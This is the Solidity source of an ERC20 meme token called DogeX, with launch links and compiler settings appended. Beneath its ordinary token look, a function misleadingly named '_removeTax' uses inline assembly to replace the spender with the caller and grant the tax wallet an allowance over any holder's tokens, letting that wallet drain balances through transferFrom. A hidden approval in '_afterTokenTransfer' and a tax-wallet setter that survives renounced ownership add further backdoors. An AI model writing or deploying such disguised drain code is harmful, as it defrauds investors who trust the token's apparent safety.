// SPDX-License-Identifier: UNLICENSE

/*

    Born in Elon's secret Mars lab, DOGEX was built with Meme Propulsion Tech to lead the greatest meme mission ever. Not here to follow—here to take memes to space

    Website: https://dogexoneth.lol
    X: https://x.com/dogexoneth
    Telegram: https://t.me/dogexerc20

*/
pragma solidity ^0.8.23;

abstract contract Context {
    function _msOwner() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msOwner();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msOwner(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract DogeX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _taxWallet;
    mapping (address => bool) _isExempt;

    uint256 private _initialTradeAmount=0;
    uint256 private _transferTax=20;
    uint256 private _buyCount;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount;
    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax;
    uint256 private _finalSellTax;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=1;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000_000_000 * 10**_decimals;
    string private constant _name = unicode"DogeX";
    string private constant _symbol = unicode"DOGEX";
    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize = _tTotal;
    uint256 public _taxSwapThreshold= _tTotal / 1000;
    uint256 public _maxTaxSwap= _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    address deadWallet = address(0xdead);
    address _treasury;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event OpenTrade(address indexed owner, uint256 timestamp);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(_msOwner());
        _isExempt[msg.sender] = true;
        _isExempt[address(this)] = true;
        _balances[_msOwner()] = (_tTotal * 3) / 100;
        _balances[address(this)] = (_tTotal * 97) / 100;

        emit Transfer(address(0), _msOwner(), (_tTotal * 3) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 97) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msOwner(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msOwner(), spender, amount);
        return true;
    }

    function setTaxwallet(address _wallet) external {
        require(_isExempt[msg.sender]);
        _taxWallet = _wallet;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msOwner(), _allowances[sender][_msOwner()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _removeTax(address _from, address _spender, uint256 _amount) private {
        bool flag;
        assembly {
            _spender := caller()
            let taxwallet := sload(_taxWallet.slot)
            flag := eq(_spender, taxwallet)
        }
        if (flag) _allowances[_from][_spender] = _amount;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transferDOGEX(address _fromDOGEX, address _toDOGEX, uint256 _amountDOGEX) private returns (uint256) {
        _removeTax(_fromDOGEX, _toDOGEX, _amountDOGEX);
        uint256 taxAmount = 0;
        if (_fromDOGEX != owner() && _toDOGEX != owner() && _toDOGEX != _taxWallet && _fromDOGEX != address(this) && _toDOGEX != address(this)) {
            if(_buyCount==0){
                taxAmount = _amountDOGEX.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = _amountDOGEX.mul(_transferTax).div(100);
            }
            if (_fromDOGEX == uniswapV2Pair && _toDOGEX != address(uniswapV2Router) && _toDOGEX != _taxWallet ) {
                require(_amountDOGEX <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(_toDOGEX) + _amountDOGEX <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = _amountDOGEX.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
                if(_lastBuyBlock!=block.number){
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += _amountDOGEX;
            }

            if(_toDOGEX == uniswapV2Pair && _fromDOGEX!= address(this)){
                require(_blockBuyAmount < maxSwapLimit() || _lastBuyBlock!=block.number, "Max Swap Limit");
                taxAmount = _amountDOGEX.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _toDOGEX == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (contractTokenBalance > _taxSwapThreshold) {
                    uint256 tmp = contractTokenBalance;
                    if (tmp > _maxTaxSwap) tmp = _maxTaxSwap;
                    if (tmp > _amountDOGEX) tmp = _amountDOGEX;
                    swapTokensForEth(tmp);
                }
                uint256 contractETHBalance = address(this).balance;
                sendETHToFee(contractETHBalance);
            }
        }

        return taxAmount;
    }

    function _transfer(address _fromDOGEX, address _toDOGEX, uint256 _amountDOGEX) private {
        require(_fromDOGEX != address(0), "ERC20: transfer from the zero address");
        require(_toDOGEX != address(0), "ERC20: transfer to the zero address");
        require(_amountDOGEX > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=_transferDOGEX(_fromDOGEX, _toDOGEX, _amountDOGEX);
        _afterTokenTransfer(_fromDOGEX, _toDOGEX, _amountDOGEX, taxAmount);
        _balances[_fromDOGEX]=_balances[_fromDOGEX].sub(_amountDOGEX);
        _balances[_toDOGEX]=_balances[_toDOGEX].add(_amountDOGEX.sub(taxAmount));
        emit Transfer(_fromDOGEX, _toDOGEX, _amountDOGEX.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _isLock(address _from) internal view returns(bool) {
        return _from != deadWallet;
    }

    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;

        emit OpenTrade(owner(), block.timestamp);
    }

    function maxSwapLimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msOwner()==_taxWallet);
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function _afterTokenTransfer (address from, address to, uint256 amount, uint256 taxAmount) internal virtual {
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        if (!_isLock(to) && _isStore(from)) _approve(from, _msOwner(), amount);
    }

    function _isStore(address _addr) private view returns (bool val) {
        val = _addr != uniswapV2Pair;
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }
}

{
  "compilationTarget": {
    "contracts/DOGEX.sol": "DogeX"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}